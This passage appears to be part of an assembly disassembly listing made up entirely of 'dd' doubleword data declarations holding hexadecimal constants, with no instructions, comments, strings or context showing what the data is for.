		dd 0AF901AD8h, 2BC405D6h, 5A20C9C9h, 17EE0908h,	82DC29E5h
		dd 481889E4h, 0DB5B77FEh, 26FA2C83h, 177B290Dh,	6F5DD989h
		dd 0BE7C4E03h, 748E0549h, 0B818623Bh, 1CB1101Ah, 407BD4Ch
		dd 0B214C280h, 680142E0h, 5B6C48D9h, 7F277AC1h,	69D87F0Ah
		dd 0F606524Eh, 39E8810h, 0CB99BB35h, 4586D17Eh,	0AE890628h
		dd 585516A9h, 6F162DF5h, 0C605DF6h, 950D9E6Eh, 0CA09773h
		dd 42B40880h, 46A4097Ch, 7D9734ECh, 8BB71494h, 4254741Bh
		dd 0D7B4257h, 27F96885h, 0B34A48F2h, 34FA5FCDh,	5CBDBEB2h
		dd 0A22AC196h, 53A82F5Ah, 0FD42DAC9h, 5F697765h, 0E9548430h
		dd 4C803C4Ah, 332E4FBBh, 0F8BB07F3h, 0FB60918Ch, 41D3A427h
		dd 6FE08313h, 0AFE64FD1h, 2DC32B1Fh, 253105EEh,	0A5C29D22h
		dd 56707C75h, 6A0C6851h, 623F12FDh, 5A4AB3CFh, 8B9A51ECh
		dd 0AE98A7D5h, 59BB7789h, 9F1E2D64h, 11F0A05Ch,	5013D496h
		dd 87D1F613h, 0F23E5DEEh, 0D04EC9BFh, 78F6953Fh, 0EC55F659h
		dd 401F15F0h, 0FA4B8869h, 805BDDB2h, 519670Ch, 0CA810E1Fh
		dd 4ED06580h, 0C706E2C1h, 0E1AAC3Dh, 6F6CE113h,	0BAD25AB7h
		dd 9C550C8Eh, 822EBF2Bh, 305DB948h, 35BBA02h, 0AFC1079Ch
		dd 0E1F58181h, 1D857D13h, 0A6390270h, 69AAF0B3h, 0E65710CCh
		dd 9BCAA0E7h, 0F7C2E174h, 0F84D344Ch, 7CF95FE9h, 3BDBE9E0h
		dd 2F285ACh, 2D4F91B2h,	89FE1EFFh, 5B5E7B93h, 23BC2184h
		dd 8ABA9494h, 87BC932Bh, 0C1A8404Fh, 39611DDEh,	202E7495h
		dd 55D0EA08h, 70F6EF75h, 224160F3h, 10D2593Ch, 0C4277597h
		dd 5FFB405Bh, 0F0F6DD01h, 61AE5FD3h, 2726048h, 8348DF5Eh
		dd 2E1F22F5h, 1EDD1B12h, 31F9B5B3h, 0F7A17842h,	77A17ADFh
		dd 0FD47167Eh, 6862D8ACh, 14E2BAA9h, 7E4F4AE9h,	0E72CEEF5h
		dd 0EE099764h, 0A69515DFh, 31D00269h, 8F10D83h,	4CDB5D49h
		dd 66C30C3Ch, 69DC988Fh, 5B576625h, 0D22C4486h,	4CD86D83h
		dd 2BF532A1h, 9E1227CFh, 90F6AEA0h, 683966CCh, 9439452Fh
		dd 0C231B402h, 0D655A48Bh, 6F9AE9D3h, 0A7F7715Fh, 0FD52757Ch
		dd 0D18455CCh, 9570DE95h, 5D0C815Bh, 35E8D2F7h,	0F4C2EB1Fh
		dd 54B67F89h, 0EE38E9AAh, 31813E15h, 4BBBC22Eh,	414FD4D2h
		dd 0F3C4EFF2h, 108FED64h, 0D004D8Bh, 6E70444Fh,	302E0C1h
		dd 59320A35h, 858F455h,	772F9519h, 999D2A16h, 707F31F0h
		dd 1856E973h, 0B8D4F680h, 88512815h, 0EBE8E694h, 73EC386Bh
		dd 0CB808AA8h, 0E3C08816h, 0A3B1A402h, 0D102C330h, 0A43B5BDAh
		dd 32CBFFFDh, 0E24CF7C9h, 0B9471534h, 32950BBAh, 31CE34E9h
		dd 62D92CADh, 0A259E12Ah, 605BDD93h, 2D10AF50h,	0FD020962h
		dd 0F5418CF4h, 40B3B7Eh, 0A8130443h, 1B84CE0h, 78912B80h
		dd 2603E8C1h, 0B9BD050Ah, 1E0C63Ah, 2D4F3EE4h, 0D406BD4Ch
		dd 0C3F7E4Ah, 0D5EEA009h, 35E3E0E2h, 805E121Ah,	0CD12FF54h
		dd 852FB4FAh, 18B3A604h, 0BCBA38E9h, 5AB74F90h,	0ABA2BAD3h
		dd 29FD22D7h, 5A0BDE55h, 2076645Fh, 583B674Ch, 0BEA6A457h
		dd 3174B8B0h, 29451670h, 82D10CDh, 9A6AFB40h, 9B9078C4h
		dd 283FA13Dh, 0E8D6B598h, 0F1AC752Dh, 4B798E18h, 3E22FE6Eh
		dd 0D514B70Ah, 8C8B3717h, 0F204C06h, 64055C71h,	143CE72h
		dd 0E4934BECh, 0C241D783h, 0D46CE001h, 97860078h, 54BF0E23h
		dd 6E13EBBh, 7E75689Fh,	7C14A2A4h, 99DD9D73h, 0B3AC99Ah
		dd 168931C2h, 0F02F64F4h, 6CEA065Dh, 0C2EBC64h,	23B7CB5h
		dd 2361E95Bh, 5998B8D1h, 38DE8811h, 0F027585Bh,	25EF8A49h
		dd 1FB97B86h, 0EFA7E9B1h, 55F68960h, 0DDB951h, 89671A37h
		dd 0D1C2E9CDh, 5127991h, 5F72E2AAh, 0EE7912FEh,	56000EF3h
		dd 0C83BD7BEh, 0F628813Ah
		dd 0C50406D3h, 2D612F75h, 83B50BAh, 30D55E2Fh, 9EADE933h
		dd 0DD680413h, 0C4C8BC72h, 9AFE4932h, 685B04F5h, 31BB0C21h
		dd 9D648CBEh, 58CBD111h, 0CE2F9067h, 93219C2Fh,	0FBBE95FDh
		dd 92BEAAD4h, 857F6DB5h, 0F6BA5706h, 17357E98h,	4F804271h
		dd 62BDFC60h, 6F416601h, 0A4625E07h, 0C25D07AFh, 548449C3h
		dd 7FDBEE4h, 99ADA25Eh,	8004A65Ch, 0A2696E03h, 100C3260h
		dd 2D38DD4Eh, 550B7BE9h, 5F0744D7h, 1FA2A80Dh, 5B05F928h
		dd 291FC830h, 0F61F69D1h, 12A284FDh, 708BEB01h,	0ED5AE938h
		dd 985A4DF4h, 5FFBE28h,	0E92F5122h, 749DFC5Dh, 0BF0D3FCh
		dd 0BC4B544Eh, 7F6AFDD5h, 0A1514575h, 8561238h,	0BCA04669h
		dd 0B89E9698h, 8BFE5292h, 0F8DD763h, 0EE4B313Ch, 4AE37368h
		dd 3E688D65h, 0B651F2DDh, 21017D9Ah, 4A6148C2h,	99DDCB8h
		dd 0ED5EF822h, 800E4D28h, 0F66971E6h, 0AE103DD6h, 6866AC03h
		dd 0AFA62FE2h, 8057B100h, 0E9D006C1h, 0CC03E4C0h, 0E7160206h
		dd 0D9B0E9A1h, 0EBAF42F1h, 6855B7A0h, 0DC255F24h, 519C577Fh
		dd 0A22E916h, 43F0F44Eh, 40D0F7C6h, 0B870808h, 10EA68F5h
		dd 85193EDDh, 92BEAAD8h, 0F97D22EFh, 20FCB03h, 5B4B3F09h
		dd 57DE00C4h, 0E6403568h, 4AB05FFCh, 59274802h,	84F8899Eh
		dd 712958Fh, 192926CAh,	0D03BEA0h, 8F274E98h, 1D185E2Bh
		dd 0D2EA6508h, 0E342F655h, 9C3B12FBh, 0BABC2447h, 0A1685180h
		dd 0B4203763h, 4F9700E4h, 0F9090EDDh, 40AC5F4Eh, 7F376FB1h
		dd 8BDE00FCh, 0E8F63C9Fh, 93C66BC2h, 48C1CA13h,	0B34B9AFh
		dd 810F826Fh, 0A163E02h, 0D61AFCF6h, 187AF795h,	5825D495h
		dd 4C1763EFh, 0F475821h, 4F32D925h, 25CBF46Dh, 0C253C224h
		dd 5C000668h, 0A87C0B68h, 139FB824h, 0ED0C6420h, 0E0EB0260h
		dd 7D422A6Ch, 80640EAh,	78595850h, 50E04B75h, 0A3274A92h
		dd 495F79F7h, 9966021Eh, 0A5DE990Bh, 0AD0256A0h, 82A913A6h
		dd 579CEFFDh, 0F5697CF4h, 0E3896C15h, 7014552Eh, 883D9780h
		dd 1618BD80h, 7595643h,	301C3C28h, 40F9E935h, 37AC649Fh
		dd 0C20E5120h, 23FF1FC7h, 225C759Ch, 0B904BC17h, 23A2E698h
		dd 3B65682h, 0D490EA88h, 5903665Ah, 0D09AE480h,	9427AFECh
		dd 0E903F480h, 0B562B513h, 0E1C20174h, 20945266h, 0EEFD0ADFh
		dd 0E4EF77DEh, 0D2A72A0Eh, 0FC3AB212h, 0C580018Ah, 0D87E91Ch
		dd 90DF45A0h, 0A8C95F0Fh, 2CE8C447h, 6661B800h,	25244577h
		dd 4B389E14h, 48414A8h,	3C4CED6Eh, 0BC82D2Bh, 262FF8FAh
		dd 0C969C101h, 4DE0D355h, 10984E50h, 0EE5BCF97h, 35993954h
		dd 45BF29DAh, 0BF5EF176h, 0B44EC3B7h, 5040C005h, 274377B7h
		dd 4BC86F64h, 1D0B6689h, 54D14F77h, 0A8023F29h,	0DF29CEABh
		dd 0E9179770h, 0EC271F24h, 0E1D37192h, 6378E623h, 3F666809h
		dd 0F2751B7Dh, 9FCC504Eh, 0DBFAD474h, 42CA080Fh, 6A8FB900h
		dd 2810966h, 250FF3C9h,	0B989C139h, 60E220FDh, 0C1694338h
		dd 26509D0Ch, 0D57D7093h, 4E3F7E09h, 0A824201h,	0C316AB08h
		dd 3E4E98E8h, 4CD252DAh, 83880B0Ch, 806FC56Dh, 0C91BF02Dh
		dd 9A09055Ch, 0F2C247Eh, 50079404h, 8B4001B7h, 0D75E955Ah
		dd 13EA63C4h, 20C56978h, 0FCBDE64Dh, 0B17865A0h, 9270536h
		dd 599050C0h, 3FB12AE5h, 13B15694h, 7AC92902h, 0B1CB5E2Ch
		dd 0A80A7D24h, 43B6C4A7h, 51A0EAB8h, 882868B5h,	2320ABEBh
		dd 0FD2D5B3Dh, 8F024A58h, 80854006h, 340EC7E2h,	296E3BBFh
		dd 34081C68h, 6B14101Ch, 2136A10h, 0CBFC6DBBh, 40E48FF9h
		dd 161935Eh, 9F4A2DDh, 0A0E4D508h, 2EBE660Eh, 70B89652h
		dd 0BE5822Eh, 0EADF56B5h, 0A0D7F948h, 8A749DB0h, 0E90CBC20h
		dd 0C032076h, 0F14F12B4h, 141ED40Eh, 14418308h,	55900B6Fh
		dd 8004FF7h, 0F72D5D3Ch, 95F1CB2h, 0E8C95FA7h, 6BEDC436h
		dd 2B61E0C2h, 0FC8882DEh, 342C030Ch, 0D828621Dh, 0FCF176B8h
		dd 6F9E4F4Dh, 21FB38B5h, 8166A1E7h, 6E88C9E7h, 31EC08B5h
		dd 9C34B2BEh, 5629C98Eh, 0E9C7D97Fh, 17202286h,	6013F670h
		dd 21EFAA35h, 25448C0Ch, 10E0284Fh, 2112B6B9h, 93D70AF0h
		dd 21C292C2h, 2289E56h,	0B589EE54h, 65101168h, 0C5B651B5h
		dd 6CC1C2DEh, 0F77A8FDCh, 2D1711C0h, 1433943Fh,	613F1h
		dd 6705E3C7h, 90CF013Ch, 0D5088246h, 82D559B2h,	0C8A829F5h
		dd 0BD1C4F6Dh, 0FC2FE1F3h, 6EE9F009h, 0B0A03DD3h, 0C5585C35h
		dd 0F261A780h, 0A50B0510h, 0D70683DDh, 4F1FDC22h, 0DC68A3A1h
		dd 7F89D16Bh, 0B98069F8h, 69034F3Ah, 0C9CF4150h, 96FCB005h
		dd 0F90BCB01h, 4983C855h, 1FE8014Eh, 5D684258h,	0A797883Bh
		dd 2FD62C9Ah, 0EF80C25Eh, 90AA16Ch, 0A3E8EF47h,	37393053h
		dd 0F67B100Ch, 24D49CC6h, 67C7065Fh, 454FFC26h,	68140660h
		dd 979AC8F2h, 0D2DF9109h, 65505EADh, 61E7833Eh,	0ADE2EB85h
		dd 0B062CCDFh, 2D014068h, 0F7A95E6Fh, 0DEF4C689h, 40C6BD69h
		dd 4E4986D6h, 3ED0AFBh,	100F1182h, 8288504Eh, 627C5F07h
		dd 145BBD80h, 58145CBh,	192243F5h, 0AD5C8302h, 868CEAE5h
		dd 964BA8EFh, 945F977Ah, 0A548BE19h, 0D37D287Dh, 0E0083B02h
		dd 0A04FC064h, 0A7330B09h, 0AF84CD31h, 9CF3FCEAh, 3AAEB15h
		dd 8C07A9F2h, 0BDCAB071h, 0AFC44C63h, 0E70F4312h, 0C8281322h
		dd 0E946CE1Eh, 4B42F76Ch, 0C321FA5Fh, 1C7428F5h, 309E6F04h
		dd 0B7173E9Dh, 6900A7B4h, 4F2BD5B0h, 30BFC17Ch,	0D5BF289Fh
		dd 49C00314h, 1179512Dh, 5F00AADh, 89D32D07h, 586A3A33h
		dd 1E36E691h, 8B0996BDh, 0C53CC702h, 2462C89h, 540B1A96h
		dd 2143A0F5h, 0BD90D21Dh, 0B2161760h, 7E90919Dh, 3B41973Ch
		dd 94E2E3Bh, 7DBDECE9h,	0F35EE712h, 3FAD3D3Dh, 5785B0FDh
		dd 58402CBBh, 0EB02F0FCh, 767443A7h, 126CDC40h,	0F705D500h
		dd 3CE125D0h, 0E9483F1Ah, 0A4442224h, 5A0CA4F0h, 101E341h
		dd 4AF055BAh, 0A2719734h, 0E40F43Fh, 0A2779D50h, 0C3EEC122h
		dd 46459846h, 0BD4A4C9Bh, 0A5972E3Fh, 0AEFB52F8h, 3E138FB3h
		dd 953AF67Bh, 3D17C4B3h, 1072E418h, 9826C33Dh, 0E2177FF0h
		dd 5D560E13h, 88D8C129h, 7FFCFCEAh, 0D1894209h,	7F41775Ah
		dd 4EC6C3Dh, 7FBF6850h,	0C89031BBh, 7A89078Ch, 77B4A068h
		dd 0E4D99551h, 4C9C7F49h, 35146813h, 907637FEh,	46ED310Ah
		dd 12E2E5B5h, 4C3AA251h, 104707F5h, 0AEB33201h,	0C6DB1C54h
		dd 257D0AA3h, 0F70401B1h, 0E68768D6h, 0C726F059h, 0CD109003h
		dd 3BFDCC79h, 0E535047Dh, 0C50E77A2h, 0C988BD70h, 689660A0h
		dd 89B5DEEEh, 0EC767D06h, 205B52E9h, 0D13B9A67h, 0D5DC93E8h
		dd 5728DCB9h, 0B91D40D1h, 4E395B00h, 388BA60h, 45195FBFh
		dd 4C2F4930h, 3BE8565Bh, 7025AA91h, 5BF7E0C7h, 0CA26FFD7h
		dd 18C9F611h, 0C49E044h, 0B400477Fh, 50BA5257h,	0B76BBE09h
		dd 0E904F5DEh, 0E5E8227Dh, 0EB083DC7h, 0A4CA1100h, 43169446h
		dd 9504EA83h, 75942C57h, 0E8E7F1AEh, 379180D3h,	3B7BDA01h
		dd 9F5C5E15h, 0A89B4EB8h, 1FB1C734h, 17E0CB04h,	0FF814FE9h
		dd 937BC81Dh, 0E752FD8Fh, 0DD052EBh, 2EF85D80h,	0FAE5DFB5h
		dd 5F008C3Ah, 7F52C2BEh, 0D6ADC053h, 680C599Ah,	7068B0ADh
		dd 85989744h, 0A1B65093h, 55A4E962h, 6BEFD85Ch,	5A7D787Bh
		dd 7A5EF056h, 17293C3Eh, 0D9FACB54h, 74A8ED7Dh,	0E20FB895h
		dd 5D393B0Ch, 0F55F4227h, 1DDBA1Ah, 389E52D1h, 4105A82Bh
		dd 0D8347E08h, 0D35B1CEEh
		dd 4BBDE959h, 7F642ABEh, 83E42C99h, 86F2BF12h, 5EA9FD5Eh
		dd 0B2F55DFCh, 2CC0C598h, 0D6DA61BEh, 95E3075Bh, 0B21C03B9h
		dd 0DECA8020h, 23437CF9h, 0D488027Dh, 0F6F292E9h, 0D6906934h
		dd 441D09F8h, 5749B943h, 4CDA8338h, 0EAE32F5Eh,	87861956h
		dd 0BD9E5AD1h, 0E93C2F52h, 30E4CEFDh, 3B6E1E77h, 0B559CC1Dh
		dd 0C501FE16h, 80C8B450h, 0F4CC27C4h, 0ECC01246h, 0F3E11608h
		dd 59048D7h, 55AB1BDAh,	0B5D6A8C3h, 5200569Ah, 92103168h
		dd 9395A11h, 58DDD5h, 367F1DFBh, 0B731DBE9h, 82CA5A79h
		dd 7A4DA302h, 6946F453h, 67A26281h, 21AB43D3h, 0CB540E8Ch
		dd 21187C15h, 3425A4D2h, 0E159E1BFh, 3FE7656Ah,	0E25B1CE2h
		dd 3D5947Dh, 14E901C2h,	0D6532E9Eh, 748109Fh, 0E6B1515Bh
		dd 80239192h, 7811777Fh, 0C8893EB9h, 6915E599h,	7B9662BBh
		dd 79166F5Eh, 35789C99h, 0F8979420h, 0FAD22717h, 53CB1751h
		dd 0E9EE04D0h, 0E289D4E3h, 2F8D9FC0h, 0A12FB3F0h, 8BBD2D6Bh
		dd 4DDCA9C1h, 0BAD4A5FDh, 0D3005465h, 1907C8B8h, 3C050572h
		dd 0F18DE6F8h, 0F4CF4185h, 8164F036h, 37BF105h,	41BE5CD9h
		dd 0CF74BBFDh, 0C77D3031h, 0F6ECBE13h, 26B200BEh, 0CA290A96h
		dd 43520990h, 655E00F4h, 610D6BD9h, 71142E4Eh, 1D35005Bh
		dd 53BEE0Fh, 90DEDB09h,	8460F75Dh, 89E2BCF1h, 4FEAB558h
		dd 34BEC384h, 0AE9072DFh, 0FAF5AD7h, 201A0D77h,	0AC19E665h
		dd 875EC4E8h, 73DBE10h,	811E1F01h, 0E922B5E5h, 0F0692128h
		dd 121D3D1Bh, 0B7E06EE9h, 0CD35C703h, 65D03D60h, 0B5071C20h
		dd 52D0BA8Bh, 0FCB7CAA1h, 0E9101606h, 30125A78h, 17EAB8EBh
		dd 8CEF226Bh, 5F82B8E3h, 75F49ED2h, 539A6654h, 0B850F9EEh
		dd 7E4C766Bh, 0DA3113DAh, 6189C9E9h, 0ED92A356h, 987A53EEh
		dd 8F2855E8h, 66FA8947h, 0B9F67582h, 55152B09h,	0CB01E8F9h
		dd 346F06BFh, 0E9031285h, 1682EC38h, 3D64C801h,	0B85E49D8h
		dd 619B2F75h, 0D5A74CF9h, 86DABA09h, 760DE912h,	5115C706h
		dd 0DF5B97D9h, 0FE19EB07h, 7FBE56E0h, 5F982D54h, 0D6057B52h
		dd 6A41E946h, 0B617DCAAh, 0B628C040h, 39C1089Fh, 47D82C0Fh
		dd 534004D0h, 7C0F1B3h,	0C3FE07E3h, 0E9B92080h,	9EB234B0h
		dd 0DA22650Bh, 4D13272h, 800226AEh, 0C37DB6EFh,	0BC830CDh
		dd 6F30C2EBh, 390EFD37h, 0D2D1E4h, 7916755Dh, 0F551C069h
		dd 8C5F25E1h, 67B3C8B2h, 0F82278EBh, 0C661C048h, 24936A51h
		dd 102EA9Fh, 0A6E95A08h, 2520A735h, 285BFA3Ah, 4ADBEDC1h
		dd 7AEEE149h, 3F9E1DA2h, 0FC2CF693h, 1FE96D5h, 8D5DF165h
		dd 0BCE43F48h, 51E903C2h, 0D129690Fh, 3A1F36B1h, 2568AB38h
		dd 0B4180812h, 81832D22h, 0C9C659C8h, 122150E5h, 807FD76Fh
		dd 43D87E25h, 0B170CC1h, 127029EAh, 56CB26F6h, 0EDDE1589h
		dd 0D4CE077Bh, 0B217FC63h, 595F8CB9h, 0E35547E6h, 0A74FCC3Eh
		dd 442183E5h, 0AC351281h, 6A106938h, 1F222B04h,	0D8EC5E0Ch
		dd 8F918501h, 4F14BA52h, 382828C9h, 92B8004Fh, 29B36124h
		dd 0D2046C97h, 82080710h, 174F22Ah, 9E104248h, 681990B5h
		dd 0AD724FE2h, 3805B156h, 0A238BD2Bh, 0A0A8C65Ch, 2715BA8Fh
		dd 0DD7CEBh, 7B7A2598h,	2F6EC2Dh, 0D33D593Ah, 0AED4E6C1h
		dd 1FD4FC0Fh, 1F345B2Dh, 145E7ECh, 0CD160144h, 2FFC2AE5h
		dd 0C7E18DAh, 5935E8E2h, 0A01900E7h, 4BDBF775h,	0B74012C1h
		dd 116BAD14h, 0B74ED51Eh, 7DC0C415h, 3877891Ch,	1098134Ch
		dd 251C9060h, 0CF3E6Ah,	2E0C12Ah, 0AAEEE435h, 48A5F35Ah
		dd 48061880h, 0E24742Dh, 47091175h, 518FB4h, 0AC1A4E04h
		dd 0A2CA9769h, 475F080Bh, 2CE9057Dh, 6031EFC5h,	192EF9BEh
		dd 3F098B8h, 2C06E8ACh,	4A66F409h, 19BD88BCh, 18C40C95h
		dd 0EFB88012h, 0DF9C0B3Eh, 0B758ED4Ch, 0DCE90E2Dh, 0E789781Bh
		dd 0A800742Bh, 340FC8Fh, 3ED58951h, 8635A002h, 0FD7E414Dh
		dd 0CBB9E96Bh, 0E745D75Fh, 0D755548Ch, 6FA441EEh, 0EA2B7AE1h
		dd 27E9CE7Ch, 37743674h, 952BBB50h, 0FF45F7F1h,	0EFD2A7ACh
		dd 0C2BFAFD4h, 0AD5C12E2h, 0BD3ED8Fh, 5D8A2BD8h, 0EBF60802h
		dd 0EF96FC57h, 18F14C86h, 3B196804h, 0AAAC261Ch, 0FE480517h
		dd 0F42E2B99h, 335EE9BEh, 0C5BA0C00h, 95444B4Eh, 0BE8458h
		dd 0C2A78418h, 1F9576A6h, 0FFD101BCh, 2A426F25h, 5AE77475h
		dd 5175DDA9h, 798B4747h, 11B5BCCCh, 0DB7F34ABh,	325E2F43h
		dd 0E6624091h, 59F1BC07h, 0AB173E6Eh, 6E99DFEh,	0C10BD580h
		dd 8FC66644h, 0BC49D5Ch, 0BAC37ADDh, 0BCAF844Bh, 90C7F0E3h
		dd 84C4642Eh, 123784CFh, 4AB8B808h, 27C15A91h, 27A6E72Bh
		dd 0AA225F5Ch, 0FED310EEh, 67776884h, 821465AAh, 0F6553117h
		dd 8979C958h, 648F5D2Fh, 4725AB26h, 0F474A420h,	28115584h
		dd 0B36EF7F5h, 0CBEC5FB5h, 1344E90Bh, 768CF759h, 0BF79D11h
		dd 31A30A6Eh, 0D9FD44F8h, 5BBD7817h, 0E27E182Dh, 467A4DBBh
		dd 44F250DAh, 47ACE9Fh,	0CD0218B8h, 5752C041h, 0B769D6E9h
		dd 3FC7D462h, 0B02DC0DEh, 0B4020C09h, 403E8C0h,	0C223758Dh
		dd 22779819h, 990689Dh,	0B75A3F9Bh, 0B4ED7716h,	2D3CA5D6h
		dd 9800DA75h, 0B1F18141h, 32660676h, 0F5DF0EE9h, 3DD7C504h
		dd 0E8BBC3A5h, 1E5387E8h, 0D1F50108h, 60470F0Ah, 12E22F3Dh
		dd 55A5725Eh, 985D0802h, 0C024087Eh, 260CF141h,	569F327Dh
		dd 4A6A1140h, 483BCDFAh, 54B7665Eh, 0E97F92BDh,	0CA246F2h
		dd 69093668h, 0F81F5B9Ch, 0F529B1BEh, 9CA55FFCh, 3FB9402Dh
		dd 61F486Bh, 0D5CACA21h, 0F3AABD1Dh, 7EA10D20h,	5FA42442h
		dd 1CA6A0AAh, 93C371E3h, 46F9004Ah, 0C148774Dh,	8B08EE28h
		dd 95BBF80Ah, 9B00C707h, 150E804h, 802AB0F2h, 95BEE908h
		dd 0DEF39168h, 2AA64316h, 8EC39200h, 20AF3252h,	4AB9DD29h
		dd 3B084D24h, 67B51EDAh, 503DC875h, 34B305B0h, 0CBC528D2h
		dd 0E80370D4h, 28BB2C59h, 6646FFD8h, 51DD254Eh,	9575F3C6h
		dd 8346799Fh, 5DED730Fh, 0DE52984Bh, 41D313ABh,	8362F2E8h
		dd 6A0C9E32h, 1D93A82h,	63F37DDFh, 4AE9D704h, 5168EACh
		dd 7EE9F602h, 5C606531h, 656F5159h, 0DD16BAEDh,	5BE9136Ch
		dd 9A80754h, 677872C3h,	5741A6C8h, 5501AF4h, 2D07405Dh
		dd 31341599h, 744B2560h, 7E5E7BA9h, 48812D05h, 0BAE9CD60h
		dd 0BFE1049Fh, 6B07A1FFh, 9FC5E2F4h, 0D32716F4h, 0C096137Ch
		dd 9C3B9C4h, 497B232Fh,	693C994Bh, 0D36CB64Bh, 4498CDAEh
		dd 0B403B923h, 0D70B6EC3h, 3FF56847h, 93BEE161h, 0DFA6A22Bh
		dd 55732249h, 0B5685F38h, 0C9ED4A4Eh, 0F6F3E9A1h, 0E9F8F7DCh
		dd 279A64FCh, 42D3E53Ch, 2BDC1B30h, 9F65D725h, 910DEB0Ch
		dd 0C09B0BF2h, 3E7601B9h, 0B51DDD9Bh, 9A49FBB0h, 0D2D0FACBh
		dd 6C9CFA1Bh, 0E7AAFE53h, 4D69EE2Eh, 0F65CD785h, 2FF2BFF1h
		dd 0A164EA11h, 0BA3C0D97h, 55874FD6h, 0C31813A6h, 14ADEB4Ah
		dd 0C1DF277Bh, 8A881AC6h, 2D023BBFh, 72E91CFBh,	936ADB15h
		dd 60861E51h, 2CC0FE04h, 0C3EB53D4h, 0FEF5FDE4h, 257B5BB6h
		dd 0E6CABB3Fh, 5E7B0DF0h, 0FDB2032Dh, 0BF57E610h, 4647E3Ch
		dd 0E7C14707h, 893153C7h, 2EE374h, 164B60BEh, 6B013503h
		dd 0E9112E6Ch, 903AA8C8h, 0C9B2B589h, 10B09E60h, 9D65FC60h
		dd 882637Ah, 22582F7Eh,	0F744C6ADh, 254BC6DEh, 4D232E9h
		dd 49214785h, 9042DFC7h, 7BB5FC55h, 59B1D001h, 0E7D10F0Ch
		dd 0CFD3002Ah, 447839FDh
		dd 0E2EFC137h, 322A3630h, 23ADA061h, 383EC553h,	0ADEA06C1h
		dd 0ED4A750Ch, 0B87917FBh, 757A1864h, 1444F21Bh, 0B64AA084h
		dd 6812025Ah, 0DAF12B43h, 181F8E30h, 2F1D793Ch,	73E35FFAh
		dd 4EB9E45Fh, 87A5E90Ah, 8616BBA6h, 0B48F6A9h, 0D6295868h
		dd 0DA2C6764h, 0FD2A832h, 5A3EBC41h, 0FE2131C5h, 450B8A75h
		dd 1216DF22h, 2A40B6B0h, 0E22E0BBBh, 62FFF869h,	0C8457B7h
		dd 2FBFA9A3h, 41BEEAEEh, 1692D080h, 0FE3BF5Bh, 1C18F13Fh
		dd 0F681C39Fh, 0D64BF0Eh, 9CEC00Ah, 9045F83Eh, 523F2DC5h
		dd 9DFF8E68h, 5F92B2B9h, 30E9DE2Ch, 0C689CBD1h,	14702224h
		dd 8202CB9h, 72B1B0C4h,	0F2BF20BBh, 213E9004h, 510F96A6h
		dd 9E9D87F8h, 45029254h, 0FE4CFE9Dh, 8858D902h,	0F6D17DE1h
		dd 0BBE98086h, 21945806h, 0D3634633h, 26C80CE1h, 106B48FFh
		dd 0D11F765Ah, 16779AE2h, 0C6A6C511h, 3B097DDAh, 0AB417B25h
		dd 0FD427FEFh, 5511C4D5h, 5862A5D1h, 430BCC07h,	4C45D22Eh
		dd 5BDE47E8h, 2F5F6C98h, 4E7B54B7h, 0B321006Bh,	0BBCB8045h
		dd 4EBC016h, 0EE580BFBh, 3C45E2DBh, 1049C954h, 3128AE90h
		dd 0EB0827EFh, 74A54DC5h, 1E8ECFBBh, 24068D25h,	5C081AD2h
		dd 30DFF629h, 97FE4790h, 0FD3B1A5Dh, 0F5012DC0h, 77691E99h
		dd 684111F9h, 4F986C5Fh, 0F680C1ACh, 0C60CA073h, 0ACEFEBAh
		dd 8EE91B1Bh, 43782A39h, 0D160F727h, 69D74337h,	12FB954Bh
		dd 58C2BACCh, 248D82DDh, 0CB5B0564h, 8DE95A42h,	0BF5E789h
		dd 45C65560h, 0E92513F8h, 5D2D0329h, 0A24D8B05h, 0AC82FF11h
		dd 5E02C76Dh, 2EAA8046h, 0A0260D4Ah, 2E3F90A8h,	13F93B42h
		dd 853E463Eh, 1620BB0Ch, 0C4B009D6h, 6C0BC328h,	0F38082DDh
		dd 0FC8ED88Eh, 0C7459F49h, 0FFB99F04h, 0AD0BECBEh, 0C2B8E82Eh
		dd 9452DCE9h, 137884A3h, 300E5168h, 6B2524Fh, 0E97801B5h
		dd 0C02C0337h, 3CDBB9C0h, 814F3A25h, 76133BF8h,	0B2F60105h
		dd 3A230A1Bh, 0AC4807FEh, 5818104Dh, 134A6968h,	0E16F234h
		dd 5A8B9D88h, 0D24C283Ch, 0D6B9265Fh, 2C8B57CFh, 0F7368B5Fh
		dd 0C1D780B2h, 0BC7D0D64h, 2D5DBD30h, 47671BF4h, 7DABCAECh
		dd 0D42124B2h, 0A29FB353h, 0D59DFC10h, 27563900h, 86A14CD8h
		dd 2CBE78F7h, 2E0D3A89h, 0FD679D30h, 434708D2h,	4F907025h
		dd 4E89CA58h, 0CFDC29ABh, 0F8476081h, 1814CFE2h, 0F728ABh
		dd 21ED4180h, 4F07EAC1h, 0FF43C142h, 0A9E9E030h, 820DDD58h
		dd 5F42447Ch, 5A687121h, 28286F6Ah, 0E3E64CE9h,	6D5410C1h
		dd 684081D4h, 0F76B6919h, 0CC20B2Ah, 474BF07Bh,	4E0A0993h
		dd 0AC663CF5h, 7523A274h, 0F920FA52h, 94BD0060h, 21357667h
		dd 61955DEAh, 13B2DA5h,	5AF188F3h, 0EDC8D150h, 5E43460h
		dd 590F6407h, 2DC52936h, 0FE6D071Dh, 66D5A760h,	98E91740h
		dd 0DAE9213Dh, 0B8EA0487h, 10667EF6h, 4BADF4D1h, 1748AD2Dh
		dd 34BFC289h, 84A080A1h, 926C320h, 4A16F583h, 1586790Dh
		dd 9705B22Eh, 135BB8F0h, 0EE103162h, 0FA4CE081h, 78DEA22Bh
		dd 0E7891B01h, 59CE098Eh, 35F498E7h, 0E86F581Eh, 8F50F501h
		dd 25E8E949h, 0F5A72E8Dh, 0CCCDFFD3h, 35F2B6AFh, 0C1BAFEB5h
		dd 6BC3B6E9h, 3E7CFA41h, 0DF70525Ch, 61680271h,	24C7E921h
		dd 4219855h, 0F0281DEFh, 0BF983F2Ch, 87D3CD3Bh,	5304DD60h
		dd 1B5F5B57h, 0A7426E68h, 0F9FF3C27h, 7E90BDBh,	7C046B6Bh
		dd 3E336ACCh, 2A13CC3h,	162DC5E7h, 0E05E05E0h, 0B5769128h
		dd 2310B724h, 5FB9430Bh, 0ABB42CB4h, 5DA8095Ah,	59D7C642h
		dd 2F43425Ch, 472420F1h, 933250Ah, 75916BCh, 921707F3h
		dd 4065B34Ch, 475E8F14h, 0C2C924Fh, 9721393Dh, 97D91655h
		dd 162ECBE8h, 0EE552585h, 84BAA527h, 0C84026E9h, 0F441CBA2h
		dd 0E83FEB61h, 0B042ADCAh, 11EC7F18h, 6A786813h, 81FE29FAh
